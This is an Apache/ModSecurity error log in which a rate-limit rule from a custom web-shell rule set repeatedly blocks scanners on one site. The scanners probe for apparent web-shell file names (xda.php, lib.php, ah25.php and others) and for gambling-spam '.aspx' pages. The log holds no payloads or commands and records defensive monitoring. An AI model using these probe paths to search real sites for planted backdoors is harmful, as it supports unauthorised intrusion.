[Thu May 07 08:02:52.702792 2026] [:error] [pid 29710:tid 29716] [client 172.202.28.4:6091] [client 172.202.28.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "afvWrP0atTQld9Y2ht8XiAAAAMQ"]
[Thu May 07 08:02:53.466496 2026] [:error] [pid 29607:tid 29684] [client 172.202.28.4:18505] [client 172.202.28.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "afvWrabP7TJOAh7WSUOZSgAAAJA"]
[Thu May 07 08:02:54.223405 2026] [:error] [pid 29710:tid 29721] [client 172.202.28.4:11733] [client 172.202.28.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "afvWrv0atTQld9Y2ht8XjAAAAMk"]
[Thu May 07 08:42:37.383430 2026] [:error] [pid 56065:tid 56111] [client 94.154.239.69:43838] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20plus.aspx"] [unique_id "afvf_XdV4hYThdnhfxCrxAAAAI8"]
[Thu May 07 08:42:39.376857 2026] [:error] [pid 56065:tid 56110] [client 94.154.239.69:48402] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20168.aspx"] [unique_id "afvf_3dV4hYThdnhfxCrxwAAAI4"]
[Thu May 07 08:42:41.238887 2026] [:error] [pid 56150:tid 56163] [client 94.154.239.69:56858] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "afvgAdu4duXJJeTigXTecQAAAEs"]
[Thu May 07 08:42:43.264815 2026] [:error] [pid 56150:tid 56152] [client 94.154.239.69:56862] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "afvgA9u4duXJJeTigXTefQAAAEA"]
[Thu May 07 08:42:45.276278 2026] [:error] [pid 56150:tid 56175] [client 94.154.239.69:56872] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "afvgBdu4duXJJeTigXTejAAAAFc"]
[Thu May 07 08:42:47.193845 2026] [:error] [pid 56066:tid 56128] [client 94.154.239.69:56886] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "afvgB0YS8DGwDvklLv50zwAAAMU"]
[Thu May 07 08:42:49.143412 2026] [:error] [pid 56150:tid 56174] [client 94.154.239.69:56892] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "afvgCdu4duXJJeTigXTeuwAAAFY"]
[Thu May 07 08:42:51.106967 2026] [:error] [pid 56150:tid 56156] [client 94.154.239.69:52644] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "afvgC9u4duXJJeTigXTewwAAAEQ"]
[Thu May 07 08:42:53.192983 2026] [:error] [pid 56150:tid 56176] [client 94.154.239.69:52660] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "afvgDdu4duXJJeTigXTe2QAAAFg"]
[Thu May 07 08:42:55.143424 2026] [:error] [pid 56066:tid 56123] [client 94.154.239.69:52666] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "afvgD0YS8DGwDvklLv506wAAAMA"]
[Thu May 07 08:42:57.120580 2026] [:error] [pid 56150:tid 56158] [client 94.154.239.69:52674] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "afvgEdu4duXJJeTigXTe6AAAAEY"]
[Thu May 07 08:42:59.139984 2026] [:error] [pid 56065:tid 56100] [client 94.154.239.69:52680] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "afvgE3dV4hYThdnhfxCsAwAAAIQ"]
[Thu May 07 08:43:01.089124 2026] [:error] [pid 56064:tid 56086] [client 94.154.239.69:40406] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "afvgFSsGkZZUEf_7QCP-OQAAABE"]
[Thu May 07 08:43:03.196944 2026] [:error] [pid 56150:tid 56156] [client 94.154.239.69:40418] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "afvgF9u4duXJJeTigXTfAwAAAEQ"]
[Thu May 07 08:43:05.323568 2026] [:error] [pid 56066:tid 56134] [client 94.154.239.69:40434] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "afvgGUYS8DGwDvklLv50_gAAAMs"]
[Thu May 07 08:43:07.288212 2026] [:error] [pid 56150:tid 56155] [client 94.154.239.69:40450] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "afvgG9u4duXJJeTigXTfFwAAAEM"]
[Thu May 07 08:43:09.280903 2026] [:error] [pid 56064:tid 56073] [client 94.154.239.69:40454] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "afvgHSsGkZZUEf_7QCP-RgAAAAQ"]
[Thu May 07 08:43:11.265030 2026] [:error] [pid 56064:tid 56081] [client 94.154.239.69:49782] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "afvgHysGkZZUEf_7QCP-SQAAAAw"]
[Thu May 07 08:43:13.276354 2026] [:error] [pid 56065:tid 56102] [client 94.154.239.69:49798] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "afvgIXdV4hYThdnhfxCsGQAAAIY"]
[Thu May 07 08:43:15.286331 2026] [:error] [pid 56065:tid 56119] [client 94.154.239.69:49808] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "afvgI3dV4hYThdnhfxCsIgAAAJc"]
[Thu May 07 08:43:17.249574 2026] [:error] [pid 56065:tid 56096] [client 94.154.239.69:49814] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "afvgJXdV4hYThdnhfxCsMAAAAIA"]
[Thu May 07 08:43:19.230645 2026] [:error] [pid 56150:tid 56158] [client 94.154.239.69:49818] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "afvgJ9u4duXJJeTigXTfPgAAAEY"]
[Thu May 07 08:43:21.243163 2026] [:error] [pid 56150:tid 56175] [client 94.154.239.69:38590] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "afvgKdu4duXJJeTigXTfTAAAAFc"]
[Thu May 07 08:43:23.226807 2026] [:error] [pid 56065:tid 56109] [client 94.154.239.69:38596] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "afvgK3dV4hYThdnhfxCsQgAAAI0"]
[Thu May 07 08:43:25.202345 2026] [:error] [pid 56150:tid 56157] [client 94.154.239.69:38600] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "afvgLdu4duXJJeTigXTfXwAAAEU"]
[Thu May 07 08:43:27.176809 2026] [:error] [pid 56150:tid 56173] [client 94.154.239.69:38616] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "afvgL9u4duXJJeTigXTfoQAAAFU"]
[Thu May 07 08:43:29.135046 2026] [:error] [pid 56150:tid 56155] [client 94.154.239.69:38624] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "afvgMdu4duXJJeTigXTf3wAAAEM"]
[Thu May 07 08:43:31.073847 2026] [:error] [pid 56065:tid 56096] [client 94.154.239.69:42664] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "afvgM3dV4hYThdnhfxCsWAAAAIA"]
[Thu May 07 08:43:33.043029 2026] [:error] [pid 56150:tid 56171] [client 94.154.239.69:42676] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "afvgNdu4duXJJeTigXTf8wAAAFM"]
[Thu May 07 08:43:35.077122 2026] [:error] [pid 56064:tid 56070] [client 94.154.239.69:42680] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "afvgNysGkZZUEf_7QCP-ZwAAAAE"]
[Thu May 07 08:45:39.428145 2026] [:error] [pid 56150:tid 56173] [client 20.9.85.117:55499] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "afvgs9u4duXJJeTigXTiKQAAAFU"]
[Thu May 07 08:45:39.805890 2026] [:error] [pid 56064:tid 56084] [client 20.9.85.117:55281] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "afvgsysGkZZUEf_7QCP_FgAAAA8"]
[Thu May 07 08:45:40.183303 2026] [:error] [pid 56150:tid 56170] [client 20.9.85.117:55493] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "afvgtNu4duXJJeTigXTiLAAAAFI"]
[Thu May 07 08:45:40.565309 2026] [:error] [pid 56150:tid 56161] [client 20.9.85.117:55257] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "afvgtNu4duXJJeTigXTiLwAAAEk"]
[Thu May 07 08:45:40.953919 2026] [:error] [pid 56150:tid 56174] [client 20.9.85.117:55251] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xda.php"] [unique_id "afvgtNu4duXJJeTigXTiMgAAAFY"]
[Thu May 07 08:45:41.334079 2026] [:error] [pid 56066:tid 56142] [client 20.9.85.117:55495] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xda.php"] [unique_id "afvgtUYS8DGwDvklLv52gQAAANM"]
[Thu May 07 08:45:41.707891 2026] [:error] [pid 56150:tid 56168] [client 20.9.85.117:55293] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xda.php"] [unique_id "afvgtdu4duXJJeTigXTiNQAAAFA"]
[Thu May 07 08:45:42.094848 2026] [:error] [pid 56150:tid 56171] [client 20.9.85.117:55504] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xda.php"] [unique_id "afvgttu4duXJJeTigXTiNgAAAFM"]
[Thu May 07 08:45:42.474830 2026] [:error] [pid 56065:tid 56109] [client 20.9.85.117:55278] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yellow.php"] [unique_id "afvgtndV4hYThdnhfxCthAAAAI0"]
[Thu May 07 08:45:42.853275 2026] [:error] [pid 56065:tid 56112] [client 20.9.85.117:55456] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yellow.php"] [unique_id "afvgtndV4hYThdnhfxCthQAAAJA"]
[Thu May 07 08:45:43.235889 2026] [:error] [pid 56066:tid 56144] [client 20.9.85.117:55254] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yellow.php"] [unique_id "afvgt0YS8DGwDvklLv52hAAAANU"]
[Thu May 07 08:45:43.616418 2026] [:error] [pid 56066:tid 56128] [client 20.9.85.117:55256] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yellow.php"] [unique_id "afvgt0YS8DGwDvklLv52hgAAAMU"]
[Thu May 07 08:45:43.998586 2026] [:error] [pid 56066:tid 56123] [client 20.9.85.117:55437] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "afvgt0YS8DGwDvklLv52hwAAAMA"]
[Thu May 07 08:45:44.370444 2026] [:error] [pid 56065:tid 56097] [client 20.9.85.117:55242] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "afvguHdV4hYThdnhfxCtjQAAAIE"]
[Thu May 07 08:45:44.746614 2026] [:error] [pid 56064:tid 56075] [client 20.9.85.117:55263] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "afvguCsGkZZUEf_7QCP_GgAAAAY"]
[Thu May 07 08:45:45.125850 2026] [:error] [pid 56064:tid 56076] [client 20.9.85.117:55285] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "afvguSsGkZZUEf_7QCP_HQAAAAc"]
[Thu May 07 08:45:45.505182 2026] [:error] [pid 56150:tid 56169] [client 20.9.85.117:55265] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah25.php"] [unique_id "afvgudu4duXJJeTigXTiOgAAAFE"]
[Thu May 07 08:45:45.887224 2026] [:error] [pid 56150:tid 56176] [client 20.9.85.117:55234] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah25.php"] [unique_id "afvgudu4duXJJeTigXTiPAAAAFg"]
[Thu May 07 08:45:46.267390 2026] [:error] [pid 56064:tid 56072] [client 20.9.85.117:55241] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah25.php"] [unique_id "afvguisGkZZUEf_7QCP_IQAAAAM"]
[Thu May 07 08:45:46.638202 2026] [:error] [pid 56065:tid 56105] [client 20.9.85.117:55488] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah25.php"] [unique_id "afvgundV4hYThdnhfxCtkgAAAIk"]
[Thu May 07 08:45:47.024983 2026] [:error] [pid 56066:tid 56123] [client 20.9.85.117:55506] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/revealability.php"] [unique_id "afvgu0YS8DGwDvklLv52jwAAAMA"]
[Thu May 07 08:45:47.415008 2026] [:error] [pid 56066:tid 56135] [client 20.9.85.117:55494] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/revealability.php"] [unique_id "afvgu0YS8DGwDvklLv52kAAAAMw"]
[Thu May 07 08:45:47.800282 2026] [:error] [pid 56066:tid 56127] [client 20.9.85.117:55238] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/revealability.php"] [unique_id "afvgu0YS8DGwDvklLv52kQAAAMQ"]
[Thu May 07 08:45:48.185449 2026] [:error] [pid 56066:tid 56142] [client 20.9.85.117:55288] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/revealability.php"] [unique_id "afvgvEYS8DGwDvklLv52lAAAANM"]
